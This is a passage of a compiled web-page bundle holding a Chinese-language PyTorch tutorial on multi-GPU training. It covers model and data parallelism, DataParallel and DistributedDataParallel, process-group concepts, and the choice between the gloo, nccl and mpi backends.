memory"}),"\u7684\u9519\u8bef\u3002\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u4ee5\u4e0b\u4e24\u79cd\u65b9\u5f0f\u7ee7\u7eed\u8bbe\u7f6e\u3002\n",(0,s.jsxs)(n.ol,{children:["\n",(0,s.jsxs)(n.li,{children:["\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:' #\u8bbe\u7f6e\u5728\u6587\u4ef6\u6700\u5f00\u59cb\u90e8\u5206\nimport os\nos.environ["CUDA_VISIBLE_DEVICE"] = "2" # \u8bbe\u7f6e\u9ed8\u8ba4\u7684\u663e\u5361\n'})}),"\n"]}),"\n",(0,s.jsxs)(n.li,{children:["\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-bash",children:" CUDA_VISBLE_DEVICE=0,1 python train.py # \u4f7f\u75280\uff0c1\u4e24\u5757GPU\n"})}),"\n"]}),"\n"]}),"\n"]}),"\n"]}),"\n",(0,s.jsx)(n.h2,{id:"233--\u5e38\u89c1\u7684\u5e76\u884c\u7684\u65b9\u6cd5",children:"2.3.3 \u5e38\u89c1\u7684\u5e76\u884c\u7684\u65b9\u6cd5\uff1a"}),"\n",(0,s.jsx)(n.h3,{id:"\u7f51\u7edc\u7ed3\u6784\u5206\u5e03\u5230\u4e0d\u540c\u7684\u8bbe\u5907\u4e2dnetwork-partitioning",children:"\u7f51\u7edc\u7ed3\u6784\u5206\u5e03\u5230\u4e0d\u540c\u7684\u8bbe\u5907\u4e2d(Network partitioning)"}),"\n",(0,s.jsx)(n.p,{children:"\u5728\u521a\u5f00\u59cb\u505a\u6a21\u578b\u5e76\u884c\u7684\u65f6\u5019\uff0c\u8fd9\u4e2a\u65b9\u6848\u4f7f\u7528\u7684\u6bd4\u8f83\u591a\u3002\u5176\u4e2d\u4e3b\u8981\u7684\u601d\u8def\u662f\uff0c\u5c06\u4e00\u4e2a\u6a21\u578b\u7684\u5404\u4e2a\u90e8\u5206\u62c6\u5206\uff0c\u7136\u540e\u5c06\u4e0d\u540c\u7684\u90e8\u5206\u653e\u5165\u5230GPU\u6765\u505a\u4e0d\u540c\u4efb\u52a1\u7684\u8ba1\u7b97\u3002\u5176\u67b6\u6784\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{alt:"\u6a21\u578b\u5e76\u884c.png",src:l(69439).A+"",width:"451",height:"785"})}),"\n",(0,s.jsx)(n.p,{children:"\u8fd9\u91cc\u9047\u5230\u7684\u95ee\u9898\u5c31\u662f\uff0c\u4e0d\u540c\u6a21\u578b\u7ec4\u4ef6\u5728\u4e0d\u540c\u7684GPU\u4e0a\u65f6\uff0cGPU\u4e4b\u95f4\u7684\u4f20\u8f93\u5c31\u5f88\u91cd\u8981\uff0c\u5bf9\u4e8eGPU\u4e4b\u95f4\u7684\u901a\u4fe1\u662f\u4e00\u4e2a\u8003\u9a8c\u3002\u4f46\u662fGPU\u7684\u901a\u4fe1\u5728\u8fd9\u79cd\u5bc6\u96c6\u4efb\u52a1\u4e2d\u5f88\u96be\u529e\u5230\uff0c\u6240\u4ee5\u8fd9\u4e2a\u65b9\u5f0f\u6162\u6162\u6de1\u51fa\u4e86\u89c6\u91ce\u3002"}),"\n",(0,s.jsx)(n.h3,{id:"\u540c\u4e00\u5c42\u7684\u4efb\u52a1\u5206\u5e03\u5230\u4e0d\u540c\u6570\u636e\u4e2dlayer-wise-partitioning",children:"\u540c\u4e00\u5c42\u7684\u4efb\u52a1\u5206\u5e03\u5230\u4e0d\u540c\u6570\u636e\u4e2d(Layer-wise partitioning)"}),"\n",(0,s.jsx)(n.p,{children:"\u7b2c\u4e8c\u79cd\u65b9\u5f0f\u5c31\u662f\uff0c\u540c\u4e00\u5c42\u7684\u6a21\u578b\u505a\u4e00\u4e2a\u62c6\u5206\uff0c\u8ba9\u4e0d\u540c\u7684GPU\u53bb\u8bad\u7ec3\u540c\u4e00\u5c42\u6a21\u578b\u7684\u90e8\u5206\u4efb\u52a1\u3002\u5176\u67b6\u6784\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{alt:"\u62c6\u5206.png",src:l(50655).A+"",width:"761",height:"809"})}),"\n",(0,s.jsx)(n.p,{children:"\u8fd9\u6837\u53ef\u4ee5\u4fdd\u8bc1\u5728\u4e0d\u540c\u7ec4\u4ef6\u4e4b\u95f4\u4f20\u8f93\u7684\u95ee\u9898\uff0c\u4f46\u662f\u5728\u6211\u4eec\u9700\u8981\u5927\u91cf\u7684\u8bad\u7ec3\uff0c\u540c\u6b65\u4efb\u52a1\u52a0\u91cd\u7684\u60c5\u51b5\u4e0b\uff0c\u4f1a\u51fa\u73b0\u548c\u7b2c\u4e00\u79cd\u65b9\u5f0f\u4e00\u6837\u7684\u95ee\u9898\u3002"}),"\n",(0,s.jsx)(n.h3,{id:"\u4e0d\u540c\u7684\u6570\u636e\u5206\u5e03\u5230\u4e0d\u540c\u7684\u8bbe\u5907\u4e2d\u6267\u884c\u76f8\u540c\u7684\u4efb\u52a1data-parallelism",children:"\u4e0d\u540c\u7684\u6570\u636e\u5206\u5e03\u5230\u4e0d\u540c\u7684\u8bbe\u5907\u4e2d\uff0c\u6267\u884c\u76f8\u540c\u7684\u4efb\u52a1(Data parallelism)"}),"\n",(0,s.jsx)(n.p,{children:"\u7b2c\u4e09\u79cd\u65b9\u5f0f\u6709\u70b9\u4e0d\u4e00\u6837\uff0c\u5b83\u7684\u903b\u8f91\u662f\uff0c\u6211\u4e0d\u518d\u62c6\u5206\u6a21\u578b\uff0c\u6211\u8bad\u7ec3\u7684\u65f6\u5019\u6a21\u578b\u90fd\u662f\u4e00\u6574\u4e2a\u6a21\u578b\u3002\u4f46\u662f\u6211\u5c06\u8f93\u5165\u7684\u6570\u636e\u62c6\u5206\u3002\u6240\u8c13\u7684\u62c6\u5206\u6570\u636e\u5c31\u662f\uff0c\u540c\u4e00\u4e2a\u6a21\u578b\u5728\u4e0d\u540cGPU\u4e2d\u8bad\u7ec3\u4e00\u90e8\u5206\u6570\u636e\uff0c\u7136\u540e\u518d\u5206\u522b\u8ba1\u7b97\u4e00\u90e8\u5206\u6570\u636e\u4e4b\u540e\uff0c\u53ea\u9700\u8981\u5c06\u8f93\u51fa\u7684\u6570\u636e\u505a\u4e00\u4e2a\u6c47\u603b\uff0c\u7136\u540e\u518d\u53cd\u4f20\u3002\u5176\u67b6\u6784\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{alt:"\u6570\u636e\u5e76\u884c.png",src:l(76452).A+"",width:"601",height:"835"})}),"\n",(0,s.jsxs)(n.p,{children:["\u8fd9\u79cd\u65b9\u5f0f\u53ef\u4ee5\u89e3\u51b3\u4e4b\u524d\u6a21\u5f0f\u9047\u5230\u7684\u901a\u8baf\u95ee\u9898\u3002\u73b0\u5728\u7684\u4e3b\u6d41\u65b9\u5f0f\u662f",(0,s.jsx)(n.strong,{children:"\u6570\u636e\u5e76\u884c"}),"\u7684\u65b9\u5f0f(Data parallelism)"]}),"\n",(0,s.jsx)(n.h2,{id:"234-\u4f7f\u7528cuda\u52a0\u901f\u8bad\u7ec3",children:"2.3.4 \u4f7f\u7528CUDA\u52a0\u901f\u8bad\u7ec3"}),"\n",(0,s.jsx)(n.h3,{id:"\u5355\u5361\u8bad\u7ec3",children:"\u5355\u5361\u8bad\u7ec3"}),"\n",(0,s.jsxs)(n.p,{children:["\u5728PyTorch\u6846\u67b6\u4e0b\uff0cCUDA\u7684\u4f7f\u7528\u53d8\u5f97\u975e\u5e38\u7b80\u5355\uff0c\u6211\u4eec\u53ea\u9700\u8981\u663e\u5f0f\u7684\u5c06\u6570\u636e\u548c\u6a21\u578b\u901a\u8fc7",(0,s.jsx)(n.code,{children:".cuda()"}),"\u65b9\u6cd5\u8f6c\u79fb\u5230GPU\u4e0a\u5c31\u53ef\u52a0\u901f\u6211\u4eec\u7684\u8bad\u7ec3\u3002\u5982\u4e0b\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"model = Net()\nmodel.cuda() # \u6a21\u578b\u663e\u793a\u8f6c\u79fb\u5230CUDA\u4e0a\n\nfor image,label in dataloader:\n # \u56fe\u50cf\u548c\u6807\u7b7e\u663e\u793a\u8f6c\u79fb\u5230CUDA\u4e0a\n image = image.cuda() \n label = label.cuda()\n"})}),"\n",(0,s.jsx)(n.h3,{id:"\u591a\u5361\u8bad\u7ec3",children:"\u591a\u5361\u8bad\u7ec3"}),"\n",(0,s.jsxs)(n.p,{children:["PyTorch\u63d0\u4f9b\u4e86\u4e24\u79cd\u591a\u5361\u8bad\u7ec3\u7684\u65b9\u5f0f\uff0c\u5206\u522b\u4e3a",(0,s.jsx)(n.code,{children:"DataParallel"}),"\u548c",(0,s.jsx)(n.code,{children:"DistributedDataParallel"}),"\uff08\u4ee5\u4e0b\u6211\u4eec\u5206\u522b\u7b80\u79f0\u4e3aDP\u548cDDP\uff09\u3002\u8fd9\u4e24\u79cd\u65b9\u6cd5\u4e2d\u5b98\u65b9\u66f4\u63a8\u8350\u6211\u4eec\u4f7f\u7528",(0,s.jsx)(n.code,{children:"DDP"}),"\uff0c\u56e0\u4e3a\u5b83\u7684\u6027\u80fd\u66f4\u597d\u3002\u4f46\u662f",(0,s.jsx)(n.code,{children:"DDP"}),"\u7684\u4f7f\u7528\u6bd4\u8f83\u590d\u6742\uff0c\u800c",(0,s.jsx)(n.code,{children:"DP"}),"\u7ecf\u9700\u8981\u6539\u53d8\u51e0\u884c\u4ee3\u7801\u65e2\u53ef\u4ee5\u5b9e\u73b0\uff0c\u6240\u4ee5\u6211\u4eec\u8fd9\u91cc\u5148\u4ecb\u7ecd",(0,s.jsx)(n.code,{children:"DP"}),"\uff0c\u518d\u4ecb\u7ecd",(0,s.jsx)(n.code,{children:"DDP"}),"\u3002"]}),"\n",(0,s.jsx)(n.h4,{id:"\u5355\u673a\u591a\u5361dp",children:"\u5355\u673a\u591a\u5361DP"}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{alt:"DP.png",src:l(69363).A+"",width:"736",height:"442"})}),"\n",(0,s.jsxs)(n.p,{children:["\u9996\u5148\u6211\u4eec\u6765\u770b\u5355\u673a\u591a\u5361DP\uff0c\u901a\u5e38\u4f7f\u7528\u4e00\u79cd\u53eb\u505a\u6570\u636e\u5e76\u884c (Data parallelism) \u7684\u7b56\u7565\uff0c\u5373\u5c06\u8ba1\u7b97\u4efb\u52a1\u5212\u5206\u6210\u591a\u4e2a\u5b50\u4efb\u52a1\u5e76\u5728\u591a\u4e2aGPU\u5361\u4e0a\u540c\u65f6\u6267\u884c\u8fd9\u4e9b\u5b50\u4efb\u52a1\u3002\u4e3b\u8981\u4f7f\u7528\u5230\u4e86",(0,s.jsx)(n.code,{children:"nn.DataParallel"}),"\u51fd\u6570\uff0c\u5b83\u7684\u4f7f\u7528\u975e\u5e38\u7b80\u5355\uff0c\u4e00\u822c\u6211\u4eec\u53ea\u9700\u8981\u52a0\u51e0\u884c\u4ee3\u7801\u5373\u53ef\u5b9e\u73b0"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"model = Net()\nmodel.cuda() # \u6a21\u578b\u663e\u793a\u8f6c\u79fb\u5230CUDA\u4e0a\n\nif torch.cuda.device_count() > 1: # \u542b\u6709\u591a\u5f20GPU\u7684\u5361\n\tmodel = nn.DataParallel(model) # \u5355\u673a\u591a\u5361DP\u8bad\u7ec3\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u9664\u6b64\u4e4b\u5916\uff0c\u6211\u4eec\u4e5f\u53ef\u4ee5\u6307\u5b9aGPU\u8fdb\u884c\u5e76\u884c\u8bad\u7ec3\uff0c\u4e00\u822c\u6709\u4e24\u79cd\u65b9\u5f0f"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:["\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.code,{children:"nn.DataParallel"}),"\u51fd\u6570\u4f20\u5165",(0,s.jsx)(n.code,{children:"device_ids"}),"\u53c2\u6570\uff0c\u53ef\u4ee5\u6307\u5b9a\u4e86\u4f7f\u7528\u7684GPU\u7f16\u53f7"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"model = nn.DataParallel(model, device_ids=[0,1]) # \u4f7f\u7528\u7b2c0\u548c\u7b2c1\u5f20\u5361\u8fdb\u884c\u5e76\u884c\u8bad\u7ec3\n"})}),"\n"]}),"\n",(0,s.jsxs)(n.li,{children:["\n",(0,s.jsxs)(n.p,{children:["\u8981",(0,s.jsx)(n.strong,{children:"\u624b\u52a8\u6307\u5b9a\u5bf9\u7a0b\u5e8f\u53ef\u89c1\u7684GPU\u8bbe\u5907"})]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:'os.environ["CUDA_VISIBLE_DEVICES"] = "1,2"\n'})}),"\n"]}),"\n"]}),"\n",(0,s.jsx)(n.h4,{id:"\u591a\u673a\u591a\u5361ddp",children:"\u591a\u673a\u591a\u5361DDP"}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{alt:"DP.png",src:l(88135).A+"",width:"1269",height:"674"})}),"\n",(0,s.jsxs)(n.p,{children:["\u4e0d\u8fc7\u901a\u8fc7DP\u8fdb\u884c\u5206\u5e03\u5f0f\u591a\u5361\u8bad\u7ec3\u7684\u65b9\u5f0f\u5bb9\u6613\u9020\u6210\u8d1f\u8f7d\u4e0d\u5747\u8861\uff0c\u6709\u53ef\u80fd\u7b2c\u4e00\u5757GPU\u663e\u5b58\u5360\u7528\u66f4\u591a\uff0c\u56e0\u4e3a\u8f93\u51fa\u9ed8\u8ba4\u90fd\u4f1a\u88abgather\u5230\u7b2c\u4e00\u5757GPU\u4e0a\u3002\u4e3a\u6b64Pytorch\u4e5f\u63d0\u4f9b\u4e86",(0,s.jsx)(n.code,{children:"torch.nn.parallel.DistributedDataParallel"}),"\uff08DDP\uff09\u65b9\u6cd5\u6765\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:["\u9488\u5bf9\u6bcf\u4e2aGPU\uff0c\u542f\u52a8\u4e00\u4e2a\u8fdb\u7a0b\uff0c\u7136\u540e\u8fd9\u4e9b\u8fdb\u7a0b\u5728\u6700\u5f00\u59cb\u7684\u65f6\u5019\u4f1a\u4fdd\u6301\u4e00\u81f4\uff08\u6a21\u578b\u7684\u521d\u59cb\u5316\u53c2\u6570\u4e5f\u4e00\u81f4\uff0c\u6bcf\u4e2a\u8fdb\u7a0b\u62e5\u6709\u81ea\u5df1\u7684\u4f18\u5316\u5668\uff09\uff0c\u540c\u65f6\u5728\u66f4\u65b0\u6a21\u578b\u7684\u65f6\u5019\uff0c\u68af\u5ea6\u4f20\u64ad\u4e5f\u662f\u5b8c\u5168\u4e00\u81f4\u7684\uff0c\u8fd9\u6837\u5c31\u53ef\u4ee5\u4fdd\u8bc1\u4efb\u4f55\u4e00\u4e2aGPU\u4e0a\u9762\u7684\u6a21\u578b\u53c2\u6570\u5c31\u662f\u5b8c\u5168\u4e00\u81f4\u7684\uff0c\u6240\u4ee5\u8fd9\u6837\u5c31\u4e0d\u4f1a\u51fa\u73b0",(0,s.jsx)(n.code,{children:"DataParallel"}),"\u90a3\u6837\u663e\u5b58\u4e0d\u5747\u8861\u7684\u95ee\u9898\u3002\u4e0d\u8fc7\u76f8\u5bf9\u5e94\u7684\uff0c\u4f1a\u6bd4\u8f83\u9ebb\u70e6\uff0c\u63a5\u4e0b\u6765\u4ecb\u7ecd\u4e00\u4e0b\u591a\u673a\u591a\u5361DDP\u7684\u4f7f\u7528\u65b9\u6cd5\u3002"]}),"\n",(0,s.jsx)(n.p,{children:"\u5f00\u59cb\u4e4b\u524d\u9700\u8981\u5148\u719f\u6089\u51e0\u4e2a\u6982\u5ff5\uff0c\u8fd9\u4e9b\u8fd8\u662f\u6709\u5fc5\u8981\u63d0\u4e00\u4e0b\u7684"}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.strong,{children:"\u8fdb\u7a0b\u7ec4\u7684\u76f8\u5173\u6982\u5ff5"})}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.strong,{children:"GROUP"}),"\uff1a\u8fdb\u7a0b\u7ec4\uff0c\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0c\u53ea\u6709\u4e00\u4e2a\u7ec4\uff0c\u4e00\u4e2a job \u5373\u4e3a\u4e00\u4e2a\u7ec4\uff0c\u4e5f\u5373\u4e00\u4e2a world\u3002\uff08\u5f53\u9700\u8981\u8fdb\u884c\u66f4\u52a0\u7cbe\u7ec6\u7684\u901a\u4fe1\u65f6\uff0c\u53ef\u4ee5\u901a\u8fc7 new_group \u63a5\u53e3\uff0c\u4f7f\u7528 world \u7684\u5b50\u96c6\uff0c\u521b\u5efa\u65b0\u7ec4\uff0c\u7528\u4e8e\u96c6\u4f53\u901a\u4fe1\u7b49\u3002\uff09"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.strong,{children:"WORLD_SIZE"}),"\uff1a\u8868\u793a\u5168\u5c40\u8fdb\u7a0b\u4e2a\u6570\u3002\u5982\u679c\u662f\u591a\u673a\u591a\u5361\u5c31\u8868\u793a\u673a\u5668\u6570\u91cf\uff0c\u5982\u679c\u662f\u5355\u673a\u591a\u5361\u5c31\u8868\u793a GPU \u6570\u91cf\u3002"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.strong,{children:"RANK"}),"\uff1a\u8868\u793a\u8fdb\u7a0b\u5e8f\u53f7\uff0c\u7528\u4e8e\u8fdb\u7a0b\u95f4\u901a\u8baf\uff0c\u8868\u5f81\u8fdb\u7a0b\u4f18\u5148\u7ea7\u3002rank = 0 \u7684\u4e3b\u673a\u4e3a master \u8282\u70b9\u3002 \u5982\u679c\u662f\u591a\u673a\u591a\u5361\u5c31\u8868\u793a\u5bf9\u5e94\u7b2c\u51e0\u53f0\u673a\u5668\uff0c\u5982\u679c\u662f\u5355\u673a\u591a\u5361\uff0c\u7531\u4e8e\u4e00\u4e2a\u8fdb\u7a0b\u5185\u5c31\u53ea\u6709\u4e00\u4e2a GPU\uff0c\u6240\u4ee5 rank \u4e5f\u5c31\u8868\u793a\u7b2c\u51e0\u5757 GPU\u3002"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.strong,{children:"LOCAL_RANK"}),"\uff1a\u8868\u793a\u8fdb\u7a0b\u5185\uff0cGPU \u7f16\u53f7\uff0c\u975e\u663e\u5f0f\u53c2\u6570\uff0c\u7531 torch.distributed.launch \u5185\u90e8\u6307\u5b9a\u3002\u4f8b\u5982\uff0c\u591a\u673a\u591a\u5361\u4e2d rank = 3\uff0clocal_rank = 0 \u8868\u793a\u7b2c 3 \u4e2a\u8fdb\u7a0b\u5185\u7684\u7b2c 1 \u5757 GPU\u3002"]}),"\n"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.strong,{children:"DDP\u7684\u57fa\u672c\u7528\u6cd5 (\u4ee3\u7801\u7f16\u5199\u6d41\u7a0b)"})}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:["\u5728\u4f7f\u7528 ",(0,s.jsx)(n.code,{children:"distributed"})," \u5305\u7684\u4efb\u4f55\u5176\u4ed6\u51fd\u6570\u4e4b\u524d\uff0c\u9700\u8981\u4f7f\u7528 ",(0,s.jsx)(n.code,{children:"init_process_group"})," ",(0,s.jsx)(n.strong,{children:"\u521d\u59cb\u5316\u8fdb\u7a0b\u7ec4"}),"\uff0c\u540c\u65f6\u521d\u59cb\u5316 ",(0,s.jsx)(n.code,{children:"distributed"})," \u5305\u3002"]}),"\n",(0,s.jsxs)(n.li,{children:["\u4f7f\u7528 ",(0,s.jsx)(n.code,{children:"torch.nn.parallel.DistributedDataParallel"})," \u521b\u5efa ",(0,s.jsx)(n.strong,{children:"\u5206\u5e03\u5f0f\u6a21\u578b"})," ",(0,s.jsx)(n.code,{children:"DDP(model, device_ids=device_ids)"})]}),"\n",(0,s.jsxs)(n.li,{children:["\u4f7f\u7528 ",(0,s.jsx)(n.code,{children:"torch.utils.data.distributed.DistributedSampler"})," \u521b\u5efa ",(0,s.jsx)(n.strong,{children:"DataLoader"})]}),"\n",(0,s.jsxs)(n.li,{children:["\u4f7f\u7528\u542f\u52a8\u5de5\u5177 ",(0,s.jsx)(n.code,{children:"torch.distributed.launch"})," \u5728\u6bcf\u4e2a\u4e3b\u673a\u4e0a\u6267\u884c\u4e00\u6b21\u811a\u672c\uff0c\u5f00\u59cb\u8bad\u7ec3"]}),"\n"]}),"\n",(0,s.jsx)(n.p,{children:"\u9996\u5148\u662f\u5bf9\u4ee3\u7801\u8fdb\u884c\u4fee\u6539\uff0c\u6dfb\u52a0\u53c2\u6570 --local_rank"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:'import argparse\nparser = argparse.ArgumentParser()\nparser.add_argument("--local_rank", type=int) # \u8fd9\u4e2a\u53c2\u6570\u5f88\u91cd\u8981\nargs = parser.parse_args()\n'})}),"\n",(0,s.jsxs)(n.p,{children:["\u8fd9\u91cc\u7684local_rank\u53c2\u6570\uff0c\u53ef\u4ee5\u7406\u89e3\u4e3a",(0,s.jsx)(n.code,{children:"torch.distributed.launch"}),"\u5728\u7ed9\u4e00\u4e2aGPU\u521b\u5efa\u8fdb\u7a0b\u7684\u65f6\u5019\uff0c\u7ed9\u8fd9\u4e2a\u8fdb\u7a0b\u63d0\u4f9b\u7684GPU\u53f7\uff0c\u8fd9\u4e2a\u662f\u7a0b\u5e8f\u81ea\u52a8\u7ed9\u7684\uff0c",(0,s.jsx)(n.strong,{children:"\u4e0d\u9700\u8981\u624b\u52a8\u5728\u547d\u4ee4\u884c\u4e2d\u6307\u5b9a\u8fd9\u4e2a\u53c2\u6570\u3002"})]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:'local_rank = int(os.environ["LOCAL_RANK"]) #\u4e5f\u53ef\u4ee5\u81ea\u52a8\u83b7\u53d6\n'})}),"\n",(0,s.jsxs)(n.p,{children:["\u7136\u540e\u5728\u6240\u6709\u548cGPU\u76f8\u5173\u4ee3\u7801\u7684\u524d\u9762\u6dfb\u52a0\u5982\u4e0b\u4ee3\u7801\uff0c\u5982\u679c\u4e0d\u5199\u8fd9\u53e5\u4ee3\u7801\uff0c\u6240\u6709\u7684\u8fdb\u7a0b\u90fd\u9ed8\u8ba4\u5728\u4f60\u4f7f\u7528",(0,s.jsx)(n.code,{children:"CUDA_VISIBLE_DEVICES"}),"\u53c2\u6570\u8bbe\u5b9a\u76840\u53f7GPU\u4e0a\u9762\u542f\u52a8"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"torch.cuda.set_device(args.local_rank) # \u8c03\u6574\u8ba1\u7b97\u7684\u4f4d\u7f6e\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u63a5\u4e0b\u6765\u6211\u4eec\u5f97\u521d\u59cb\u5316",(0,s.jsx)(n.code,{children:"backend"}),"\uff0c\u4e5f\u5c31\u662f\u4fd7\u79f0\u7684\u540e\u7aef\uff0cpytorch\u4ecb\u7ecd\u4e86\u4ee5\u4e0b\u540e\u7aef\uff1a"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{alt:"Backends.png",src:l(86012).A+"",width:"796",height:"841"})}),"\n",(0,s.jsxs)(n.p,{children:["\u53ef\u4ee5\u770b\u5230\uff0c\u63d0\u4f9b\u4e86",(0,s.jsx)(n.code,{children:"gloo"}),"\uff0c",(0,s.jsx)(n.code,{children:"nccl"}),"\uff0c",(0,s.jsx)(n.code,{children:"mpi"}),"\uff0c\u90a3\u4e48\u5982\u4f55\u8fdb\u884c\u9009\u62e9\u5462\uff0c\u5b98\u7f51\u4e2d\u4e5f\u7ed9\u4e86\u4ee5\u4e0b\u5efa\u8bae"]}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:["\n",(0,s.jsx)(n.p,{children:"\u7ecf\u9a8c\u4e4b\u8c08"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:["\u5982\u679c\u662f\u4f7f\u7528",(0,s.jsx)(n.code,{children:"cpu"}),"\u7684\u5206\u5e03\u5f0f\u8ba1\u7b97, \u5efa\u8bae\u4f7f\u7528",(0,s.jsx)(n.code,{children:"gloo"}),"\uff0c\u56e0\u4e3a\u8868\u4e2d\u53ef\u4ee5\u770b\u5230 ",(0,s.jsx)(n.code,{children:"gloo"}),"\u5bf9",(0,s.jsx)(n.code,{children:"cpu"}),"\u7684\u652f\u6301\u662f\u6700\u597d\u7684"]}),"\n",(0,s.jsxs)(n.li,{children:["\u5982\u679c\u4f7f\u7528",(0,s.jsx)(n.code,{children:"gpu"}),"\u8fdb\u884c\u5206\u5e03\u5f0f\u8ba1\u7b97, \u5efa\u8bae\u4f7f\u7528",(0,s.jsx)(n.code,{children:"nccl"}),"\u3002"]}),"\n"]}),"\n"]}),"\n",(0,s.jsxs)(n.li,{children:["\n",(0,s.jsx)(n.p,{children:"GPU\u4e3b\u673a"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:["InfiniBand\u8fde\u63a5\uff0c\u5efa\u8bae\u4f7f\u7528",(0,s.jsx)(n.code,{children:"nccl"}),"\uff0c\u56e0\u4e3a\u5b83\u662f\u76ee\u524d\u552f\u4e00\u652f\u6301 InfiniBand \u548c GPUDirect \u7684\u540e\u7aef\u3002"]}),"\n",(0,s.jsxs)(n.li,{children:["Ethernet\u8fde\u63a5\uff0c\u5efa\u8bae\u4f7f\u7528",(0,s.jsx)(n.code,{children:"nccl"}),"\uff0c\u56e0\u4e3a\u5b83\u7684\u5206\u5e03\u5f0fGPU\u8bad\u7ec3\u6027\u80fd\u76ee\u524d\u662f\u6700\u597d\u7684\uff0c\u7279\u522b\u662f\u5bf9\u4e8e\u591a\u8fdb\u7a0b\u5355\u8282\u70b9\u6216\u591a\u8282\u70b9\u5206\u5e03\u5f0f\u8bad\u7ec3\u3002 \u5982\u679c\u5728\u4f7f\u7528 ",(0,s.jsx)(n.code,{children:"nccl"}),"\u65f6\u9047\u5230\u4efb\u4f55\u95ee\u9898\uff0c\u53ef\u4ee5\u4f7f\u7528",(0,s.jsx)(n.code,{children:"gloo"})," \u4f5c\u4e3a\u540e\u5907\u9009\u9879\u3002 \uff08\u4e0d\u8fc7\u6ce8\u610f\uff0c\u5bf9\u4e8e GPU\uff0c",(0,s.jsx)(n.code,{children:"gloo"})," \u76ee\u524d\u7684\u8fd0\u884c\u901f\u5ea6\u6bd4 ",(0,s.jsx)(n.code,{children:"nccl"})," \u6162\u3002\uff09"]}),"\n"]}),"\n"]}),"\n",(0,s.jsxs)(n.li,{children:["\n",(0,s.jsx)(n.p,{children:"CPU\u4e3b\u673a"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:["InfiniBand\u8fde\u63a5\uff0c\u5982\u679c\u542f\u7528\u4e86IP over IB\uff0c\u90a3\u5c31\u4f7f\u7528",(0,s.jsx)(n.code,{children:"gloo"}),"\uff0c\u5426\u5219\u4f7f\u7528",(0,s.jsx)(n.code,{children:"mpi"})]}),"\n",(0,s.jsxs)(n.li,{children:["Ethernet\u8fde\u63a5\uff0c\u5efa\u8bae\u4f7f\u7528",(0,s.jsx)(n.code,{children:"gloo"}),"\uff0c\u9664\u975e\u6709\u4e0d\u5f97\u5df2\u7684\u7406\u7531\u4f7f\u7528",(0,s.jsx)(n.code,{children:"mpi"}),"\u3002"]}),"\n"]}),"\n"]}),"\n"]}),"\n",(0,s.jsxs)(n.p,{children:["\u5f53\u540e\u7aef\u9009\u62e9\u597d\u4e86\u4e4b\u540e, \u6211\u4eec\u9700\u8981\u8bbe\u7f6e\u4e00\u4e0b\u7f51\u7edc\u63a5\u53e3, \u56e0\u4e3a\u591a\u4e2a\u4e3b\u673a\u4e4b\u95f4\u80af\u5b9a\u662f\u4f7f\u7528\u7f51\u7edc\u8fdb\u884c\u4ea4\u6362, \u90a3\u80af\u5b9a\u5c31\u6d89\u53ca\u5230IP\u4e4b\u7c7b\u7684, \u5bf9\u4e8e",(0,s.jsx)(n.code,{children:"nccl"}),"\u548c",(0,s.jsx)(n.code,{children:"gloo"}),"\u4e00\u822c\u4f1a\u81ea\u5df1\u5bfb\u627e\u7f51\u7edc\u63a5\u53e3\uff0c\u4e0d\u8fc7\u6709\u65f6\u5019\u5982\u679c\u7f51\u5361\u6bd4\u8f83\u591a\u7684\u65f6\u5019\uff0c\u5c31\u9700\u8981\u81ea\u5df1\u8bbe\u7f6e\uff0c\u53ef\u4ee5\u5229\u7528\u4ee5\u4e0b\u4ee3\u7801"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"import os\n# \u4ee5\u4e0b\u4e8c\u9009\u4e00, \u7b2c\u4e00\u4e2a\u662f\u4f7f\u7528gloo\u540e\u7aef\u9700\u8981\u8bbe\u7f6e\u7684, 